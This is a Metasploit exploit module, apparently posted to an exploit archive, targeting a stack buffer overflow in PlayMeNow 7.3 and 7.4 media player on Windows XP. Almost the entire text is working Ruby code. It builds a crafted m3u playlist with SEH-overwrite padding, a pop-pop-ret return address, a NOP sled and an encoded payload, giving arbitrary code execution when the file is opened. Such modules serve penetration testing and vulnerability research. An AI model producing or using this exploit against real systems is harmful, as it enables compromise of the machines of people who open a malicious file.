PlayMeNow 7.3/7.4 – Local Buffer Overflow (Metasploit)
# Tested on: Windows XP SP3 - English # CVE : # Code : ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PlayMeNow versions 7.3 and 7.4 Buffer Overflow Exploit (SEH)', 'Description' => %q{ This module exploits a stack overflow in PlayMeNow version 7.3 and 7.4. By creating a specially crafted m3u or pls file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'Blake', 'Version' => 'Version 1', 'References' => [ [ 'OSVDB', '' ], [ 'URL', 'http://www.exploit-db.com/exploits/10556' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 1428, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => 0x10020ed7} ], # pop pop ret - AtomicClock.lmd ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']), ], self.class) end def exploit sploit = rand_text_alphanumeric(2360) sploit << "\xeb\x06\x90\x90" # short jump 6 bytes sploit << [target.ret].pack('V') sploit << "\x90" * 20 # nop sled sploit << payload.encoded sploit << rand_text_alphanumeric(1428 - payload.encoded.length) playlist = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(playlist) end end |